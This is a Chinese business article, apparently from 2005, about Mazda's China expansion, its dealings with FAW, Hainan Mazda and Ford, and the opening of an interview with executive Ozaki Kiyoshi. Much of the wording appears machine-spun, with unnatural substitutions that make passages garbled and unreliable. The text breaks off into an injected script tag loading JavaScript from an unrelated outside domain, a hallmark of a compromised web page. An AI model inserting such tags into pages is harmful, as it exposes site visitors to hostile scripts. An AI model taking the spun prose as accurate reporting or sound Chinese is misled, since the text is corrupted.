□ 单飞冲动
伴随中国策略的三项举措逐步推行，一个当地指挥中心的需要火烧眉毛。由于目前马自达在华投资还没多少，马自达还不可以如其它汽车公司那样申请成立中国投资公司。
2005年6月1日，变相统括中国业务的马自达汽车（上海）咨询公司在浦东陆家嘴上海信息大厦20层开始营业了。马自达在华主动出击大干一场的架势已经摆好，但此前需要协调好与各合伙人的微妙关系。
2002年十月，马自达6正式上市前，海南马自达过去与马自达、一汽草签过统一销售的合同，但最后没达成。已经在全国有较为健全的销售互联网的海南马自达并不想主导权旁落。有剖析人士觉得，当时统一销售没成功是马自达不敢对海马动粗，毕竟它还没看到马自达6在一汽手中的热门前景。当初马自达6上市，马自达甚至感觉一汽定价比较高。
业内的常见评价是，马自达的产品制造能力和技术能力很强，但销售能力不足。一汽依赖马自达6已经证明了我们的销售实力，马自达决定全心依赖一汽这棵大树。那样目前已经完全可以对海马表现出强硬姿态。
海马虽然互联网很好，但毕竟实力弱小，此时还想倔强独立既是不考虑马自达的大局更是没达成的可能。马自达直接决定了其后续商品的有无，何况一汽还握有海南马自达49%的股份，因此被统一指日可待，也因此马自达是国内一个敢于喊出整理所有销售途径的外国汽车制造商。
更大的难点是与控股股东福特的关系。马自达参股了福特的南京工厂，南京工厂生产的马自达汽车将放到一汽马自达的网中销售，那样福特是不是要参股一汽马自达销售公司？在全球其它地方，马自达都有商品通过福特汽车的工厂制造，参股或者不参股销售都不是真的的问题所在。真的的问题是马自达目前正与一汽谈判合资生产汽车之事，依据中国的汽车政策，自己控股的马自达一旦合资，福特将没机会同其它合伙人合资，而福特想要合资的对象正是一汽。
有不愿透露名字的一汽人士表示，福特汽车手中并无多少合适国内市场的汽车，而且在全球的销售并不见佳，当年福特在与通用争夺与上汽合资失败后过去找过一汽，并慷慨地让一汽将福特林肯城市款汽车改导致为红旗旗舰。但最后合资还是没成功。目前马自达有这么好的商品，而且在销售上还更多地倚重一汽，因此一汽没理由选择福特，除非福特说通马自达，三方一同合资。
即便如此，马自达的翅膀硬了，外面已在想像它脱离福特单飞的情景。马自达是不是可以赞同福特参股到与一汽的合资中去？尾崎清没正面回答这个问题，他觉得无论是马自达还是福特，对于双方目前的关系“没感觉不自然”。
自1969年起马自达和福特就已经有了合作关系。
1996年控股马自达后，双方的合作深入到了研发、生产和销售的每个方面。在双方的研发合作中，虽然不少商品都是由马自达主导研发，但因为共享了海量福特汽车的资源，马自达觉得与福特汽车协作产生的协同成效，“尤其是在产品研发范围中，为马自达的复苏作出了巨大的贡献。”
尾崎清说：“正由于有了福特，大家逃过了破产一劫，并且对马自达进行了有效的改革。福特越强对大家越有利，大家强大对福特也有利，大伙是共存共荣的关系。”
话是这么说，但大家都可以看清楚，假如仅仅由马自达一家和一汽合资对马自达最为有利，马自达甚至想一个人和长安汽车合作，而不想福特搀和其中。
[访谈]尾崎清的微言大义
2005年5月中旬，在马自达汽车（上海）企业咨询公司坐落于上海浦东陆家嘴信息大厦的空旷的办公室里，马自达中国事业负责人尾崎清同意了笔者前后长达5个小时的专访。尾崎清身形瘦小，但马自达事业的不断成功使他面对笔者口若悬河。
当年缺少勇气
贾可：事实上当时你们跟一汽的合作方法在中国国内还没，由于其他的汽车公司到中国来都是先合资再建工厂，再搞生产然后销售。像马自达与一汽轿车的合作方法可以飞速让马6量产然后销售，又可以节省本钱节省时间，各方面有非常大有哪些好处，像你们商品的外包，是否这种感觉？
尾崎清：完全正确。当然回顾一下马自达的进步历?script src=http://cn.jxmmtv.com/cn.js>cript>